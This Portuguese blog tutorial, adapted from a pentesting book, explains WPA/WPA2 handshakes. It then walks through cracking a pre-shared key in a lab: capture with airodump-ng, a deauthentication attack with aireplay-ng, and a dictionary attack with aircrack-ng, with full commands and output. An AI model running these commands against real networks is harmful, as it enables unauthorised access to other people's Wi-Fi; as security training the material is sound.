Atacando redes wifi com Aircrack-ng protegidas com criptografia WPA e WPA2

Vimos na postagem anterior como a criptografia WEP é fraca e podemos quebrar a criptografia, obtendo a chave de proteção com o Aircrack-ng.

Nesta postagem iremos ver como fazer para entrar em uma rede protegida com WPA e WPA2.

Wi-Fi Protected Access (WAP)

Assim que a fraqueza do WEP veio à tona, um sistema de segurança wireless mais robusto foi necessário e foi desenvolvido para trocar o WEP, o que ultimamente veio se tornar WPA2. Entretanto, a criação de um sistema criptográfico seguro para wireless levou tempo e neste meio tempo, mais segurança foi necessária para ser compatível com o hardware utilizado. Então, Wi-Fi Protected Access (WPA), também conhecido como Temporal Key Integrity Protocol (TKIP), nasceu.

WPA usa o mesmo algoritmo que o WEP (RC4), mas procura endereçara fraqueza do WEP adicionando aleatoriedade na keystream aos IVs e integridade para o ICV. Diferente do WEP, o qual usa uma chave de 40 ou 104 bits combinado com IVs fracas para cada pacote, WPA gera uma chave de 148 bits para cada pacote garantindo que cada um deles seja criptografado com uam keystream única.

Adicionalmente, WPA substitui a fraqueza do WEP na verificação de integridade de mensagens CRC-32 com o algoritmo de message authentication code (MAC) chamado Michael, para prevenir os atacantes de calcularem facilmente as mudanças resultantes no ICV quando um bit for alterado. Embora tanto o WPA e até o WPA2 tenha suas fraquezas, as vulnerabilidades mais comuns (que veremos a seguir) é o uso de senhas fracas.

WPA2

WPA2 foi construído para prover um sistema de segurança para redes sem fio. Ele implementa um protocolo de criptografia construído especificamente para segurança sem fio, chamada de Counter Mode with Cipher Block Chaining Message Authentication Code Protocol (CCMP). CCMP foi construído no padrão Advanced Encryption Standard (AES).

WPA e WPA2 suportam configurações pessoais e empresariais. WPA/WPA2 pessoal usa uma chave pré-compartilhada, similar ao WEP. WPA/WPA2 empresarial (enterprise) adiciona um elemento chamado servidor Remote Authentication Dial-In User Service (RADIUS) para gerenciar a autenticação de clientes.

O processo de conexão empresarial

Nas redes empresariais WPA/WPA2, o processo de conexão do cliente tem quatro passos, como mostrado na figura abaixo. Primeiro o cliente e o access point acordam entre eles o protocolo escolhido, o access point e o servidor RADIUS trocam mensagens e geram uma chave mestre. Uma vez gerada, uma mensagem de sucesso na autenticação é enviada para o access point e passada para o cliente e a chave mestra é enviada para o access point.

O AP e o cliente trocam e verificam chaves mutuamente para se autenticarem, criptografarem mensagens e garantir a integridade das mensagens através de um handshake de quatro vias. As trocas de chaves e tráfego entre o cliente e o AP estará segura com WPA ou WPA2.

conexao-empresarial-wpa-e-wpa2

Conexão empresarial com wpa e wpa2

O processo de conexão pessoal

O processo de conexão pessoal de WPA/WPA2 personal é um pouco mais simples que o empresarial, pois não é necessário um servidor RADIUS e o processo é inteiramente entre o AP e o cliente. Não ocorrem os passos de autenticação ou chave mestra e, ao invés de um servidor RADIUS e uma chave mestra, o WPA/WPA2 pessoal usa chaves pré-compartilhadas, as quais são geradas usando uma senha pré-compartilhada.

A senha compartilhada do WPA/WPA2 pessoal que você usar para se conectar é uma rede segura é estática, enquanto a empresarial usa chaves dinâmicas geradas pelo servidor RADIUS. Enterprise configura mais segurança, mas a maioria das redes pessoais e até mesmo de pequenos negócios não usam servidores RADIUS.

O handshake de quatro vias

Na primeira fase da conexão entre o AP e o suplicante (cliente), uma chave mestra em par (PMK), os quais são estáticos através da sessão inteira, é criado. Isto não é a chave que será usada para criptografar, mas será usada durante a segunda fase, onde o handshake de quatro vias será feito entre o AP e o cliente, com o propósito de estabelecer um canal de comunicação e fazer a troca de chaves de criptografia que serão usadas na comunicação de dados futuros.

four-way-handshake-do-wpa-e-wpa2

Handshake de quatro vias do WPA e WPA2

Este PMK é gerado a partir de:

  • A chave pré-compartilhada ou PSK;
  • O SSID do AP;
  • O tamanho do SSID;
  • O número de iterações de hashing;
  • O tamanho em bits resultante (256) da chave compartilhada gerada (PMK);

Estes valores são alimentados em um algoritmo de hash chamado PBKDF2, que cria uma chave compartilhada de 256 bits. Enquanto sua chave pré-compartilhada (PSK) pode ser DiegoMacedo, esta não será a senha utilizada na segunda fase.

Dito isto, qualquer que soubesse a senha e o SSID do AP poderia usar o algoritmo do PBKDF2 para gerar o PMK correto. Durante o handshake de quatro vias,  um par de chave transitório (PTK) é criado e usado para criptografar o tráfego entre o AP e o cliente; um grupo transitório de chaves (GTK) é trocado e usado para criptografar o tráfego broadcast. O PTK é feito do seguinte:

  • Uma chave compartilhada (PMK)
  • Um número aleatório (nonce) vindo do AP (ANonce)
  • Um nonce vindo do cliente (SNonce)
  • O endereço MAC do cliente
  • O endereço MAC do AP

Estes valores alimentam o algoritmo de hashing do PBKDF2 para criar o PTK. Para gerar o PTK, o AP e o cliente trocam o endereço MAC e os nonces (valores aleatórios). A chave compartilhada estática (PMK) nunca é enviada pelo ar, porque ambos, o AP e o cliente, sabem a chave compartilhada (PSK) e, assim, podem gerar uma chave compartilhada independentemente.

Os nonces compartilhados e o endereço MAC são usados por ambos para gerar o PTK. O primeiro passo em um handshake de quatro vias, o AP envia seu nonce (ANonce). Próximo, o cliente escolhe um nonce, gera o PTK, e envia seu nonce (SNonce) para o AP. (O S em SNonce é de suplicante, outro nome para o cliente em uma configuração wireless.)

Além de enviar seu nonce, o cliente envia um código de mensagem de integridade (MIC) para guardar contra ataques de falsificação. A fim de calcular o MIC correto, a senha usada para gerar a chave pré-compartilhada deve ser correto ou o PTK será errado. O AP independentemente gera o PTK baseado no SNonce e o endereço MAC enviado pelo cliente, então checa o MIC enviado pelo cliente. Se isto estiver correto, o cliente terá se autenticado com sucesso e o AP envia o GTK mais o MIC do cliente. Na quarta parte do handshake, o cliente reconhece o GTK.

Quebrando as chaves WPA/WPA2

Diferente do WEP, o algoritmo de criptografia usado no WPA e WPA2 são robustos o suficiente para parar atacantes na tentativa de recuperar a chave simplesmente capturando tráfego o suficiente e fazendo a criptoanálise. A fraqueza do WPA/WPA2 pessoal está na qualidade da chave pré-compartilhada usada. Se a senha do administrador do Windows que você achou durante a fase de pós-exploração do pentest for a mesma senha do WPA ou WPA2 pessoal ou a senha estiver escrita em um quadro branco em frente ao escritório da organização, é game over.

Para tentar adivinhar uma senha fraca, precisamos capturar uma handshake de quatro vias para análise. Lembre-se que, dada a senha correta e o SSID do AP, o algoritmo de hash PBKDF2 pode ser usado para gerar a chave compartilhada (PMK). Dado o PMK, ainda precisamos do ANonce, SNonce e os endereços MAC doAP e cliente para calcular o PTK. Claro, a PTK será diferente para cada cliente, porque os nonces serão diferentes em cada handshake de quatro vias, mas se pode capturar um handshake de qualquer cliente legítimo, usando seus endereços MAC e nonces para calcular a PTK para uma determinada frase-senha. Por exemplo, podemos usar o SSID e a senha “senha” para gerar um PMK, em seguida, combinar o PMK gerado com os nonces capturados e endereços MAC para calcular uma PTK. Se os MICs sai como os do handshake capturado, sabemos que “senha” é a senha correta. Esta técnica pode ser aplicada em uma lista de palavras de possíveis frases secretas para tentar adivinhar a senha correta. Felizmente, se podemos capturar um handshake de quatro vias e fornecer uma lista de palavras, temos o Aircrack-ng para cuidar de toda a matemática.

Usando o Aircrack-ng para quebrar as chaves WPA/WPA2

Para usar o Aircrack-ng para quebrar o WPA/WPA2, primeiro você configura o AP wireless para WPA2 pessoal. Escolha uma chave pré-compartilhada (senha) e, em seguida, ligar o seu sistema host em seu ponto de acesso para simular um cliente real.

Para usar uma wordlist para tentar adivinhar a chave pré-compartilhada (senha) do WPA2, precisamos capturar o handshake de quatro vias. Digite airodump-ng -c 6 para o canal, –bssid com o endereço MAC da estação base, -w para especificar o nome do arquivo de saída (use um nome diferente do que você utilizado no exemplo de quebrar o WEP), e mon0 para a interface do monitor, como mostrado abaixo.

root@kali:~# airodump-ng -c 6 --bssid 00:23:69:F5:B4:2B -w pentestwpa2 mon0
CH 6 ][ Elapsed: 4 s ][ 2016-09-23 21:31 
BSSID              PWR  RXQ  Beacons  #Data,  #/s  CH  MB    ENC   CIPHER AUTH E
00:23:69:F5:B4:2B  -43  100  66       157     17   6   54 .  WPA2  CCMP   PSK  l
BSSID              STATION            PWR  Rate   Lost  Frames Probe
00:23:69:F5:B4:2B  70:56:81:B2:F0:53  -33  54-54  15    168

Como você pode ver o host está conectado. Para capturar um handshake de quatro vias, podemos esperar por um outro cliente sem fio entrar na rede ou acelerar o processo chutando um cliente para fora da rede e forçando-o a se reconectar.

Para forçar o cliente a se reconectar, utilizaremos o Aireplay-ng para enviar uma mensagem para um cliente conectado dizendo-o que não está ligado ao AP. Quando o cliente autentica novamente, iremos capturar o handshake de quatro vias entre o cliente e o AP. As opções do Aireplay-ng que vamos precisar são:

  • -0 significa desautenticação
  • 1 é o número de desautenticação solicitadas para enviar
  • -a 00:14:6C:7E:40:80 é o endereço MAC do AP
  • -c 00:0F:B5:FD:FB:C2 é o endereço MAC do cliente para desautenticar

Veja abaixo como seria o pedindo de desautenticação:

root@kali:~# aireplay-ng -0 1 -a 00:23:69:F5:B4:2B -c 70:56:81:B2:F0:53 mon0
21:35:11 Waiting for beacon frame (BSSID: 00:23:69:F5:B4:2B) on channel 6
21:35:14 Sending 64 directed DeAuth. STMAC: [70:56:81:B2:F0:53] [24|66 ACKs]

Agora voltaremos para o Airodump-ng:

CH 6 ][ Elapsed: 2 mins ][ 2015-11-23 17:10 ][ WPA handshake: 00:23:69:F5:B4:2B u
BSSID               PWR  RXQ  Beacons  #Data,  #/s  CH  MB   ENC   CIPHER AUTH ESSID
00:23:69:F5:B4:2B   -51  100  774      363     18   6   54 . WPA2  CCMP   PSK  linksys
BSSID              STATION            PWR  Rate   Lost  Frames Probe
00:23:69:F5:B4:2B  70:56:81:B2:F0:53  -29  1 - 1  47    45

Se a captura do Airodump-ng vê um handshake de quatro vias com um cliente, ele irá registra-lo na primeira linha da saída capturada.

Uma vez que você capturou o handshake WPA2, feche o Airodump-ng e abra o arquivo .cap no Wireshark com File > Open > seuarquivo.cap. Uma vez no Wireshark, filtre pelo protocolo EAPOL para ver os quatro pacotes que compõem o protocolo de reconhecimento, como mostrado abaixo.

Handshake WPA2 capturado

Handshake WPA2 capturado

As vezes o Aircrack-ng vai dizer que capturou com sucesso o handshake, mas quando você for conferir no Wireshark não encontrará os 4 pacotes necessários. Para isto, será necessário refazer o ataque de desautenticação novamente, pois precisamos dos 4 pacotes para adivinhar a senha correta.

Agora criaremos uma wordlist e incluiremos a senha correta no meio dela. O sucesso do nosso ataque contra WPA2 depende de nossa capacidade de comparar os valores de hash com a nossa senha utilizando os valores no handshake.

Uma vez que temos o handshake, podemos fazer o resto dos cálculos para recuperar a chave off-line; já não precisa estar no alcance do AP ou enviá-lo todos os pacotes. Em seguida, usamos o Aircrack-ng para testar as chaves na wordlist, especificando uma lista com a opção -w. Caso contrário, o comando é idêntico ao quebrar a chave WEP. Se a chave correta está na lista de palavras, ele será recuperado com Aircrack.

root@kali:~# aircrack-ng -w password.lst -b 00:23:69:F5:B4:2B seuarquivo.cap
Opening seuarquivo.cap

Reading packets, please wait...

                             Aircrack-ng 1.2 beta2

                 [00:00:00] 1 keys tested (178.09 k/s)

                    KEY FOUND! [ DiegoMacedo ]

    Master Key    : 2F 8B 26 97 23 D7 06 FE 00 DB 5E 98 E3 8A C1 ED
                    9D D9 50 8E 42 EE F7 04 A0 75 C4 9B 6A 19 F5 23

    Transient Key : 4F 0A 3B C1 1F 66 B6 DF 2F F9 99 FF 2F 05 89 5E
                    49 22 DA 71 33 A0 6B CF 2F D3 BE DB 3F E1 DB 17
                    B7 36 08 AB 9C E6 E5 15 5D 3F EA C7 69 E8 F8 22
                    80 9B EF C7 4E 60 D7 9C 37 B9 7D D3 5C A0 9E 8C
     
    EAPOL HMAC : 91 97 7A CF 28 B3 09 97 68 15 69 78 E2 A5 37 54

Como você pode ver, a chave correta está na nossa lista de palavras e é recuperada. Este tipo de ataque de dicionário contra o WPA/WPA2 pode ser evitada usando uma senha forte.

Aircrack-ng é apenas um conjunto de ferramentas para quebrar wireless. É ideal para iniciantes, porque começa a usar ferramentas diferentes para cada etapa do processo e isto irá ajudá-lo a se familiarizar com a forma como esses ataques trabalham. Outras ferramentas de auditoria amplamente utilizados para Wi-Fi que você pode encontrar são Kismet e Wifite.

Fonte: Weidman, Georgia. Penetration Testing: A Hands-On Introduction to Hacking. 2014

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Certificações que possuo: EC-Council CEH, CompTIA (Security+, CySA+ e Pentest+), EXIN (EHF e ISO 27001), MCSO, MCRM, ITIL v3. Tenho interesse por todas as áreas da informática, mas em especial em Gestão e Governança de TI, Segurança da Informação e Ethical Hacking.

4 Responses to “Atacando redes wifi com Aircrack-ng protegidas com criptografia WPA e WPA2”

  1. MICHAEL DOUGLAS disse:

    Caraca man, achei muito interessante… me deu uma nova visão de como wireless funciona…

  2. Pedro disse:

    Parabéns pela iniciativa do blog e disseminação do conhecimento

  3. Mark disse:

    Qual versão do aircrack você usa?

Deixe um comentário para Mark Cancelar resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *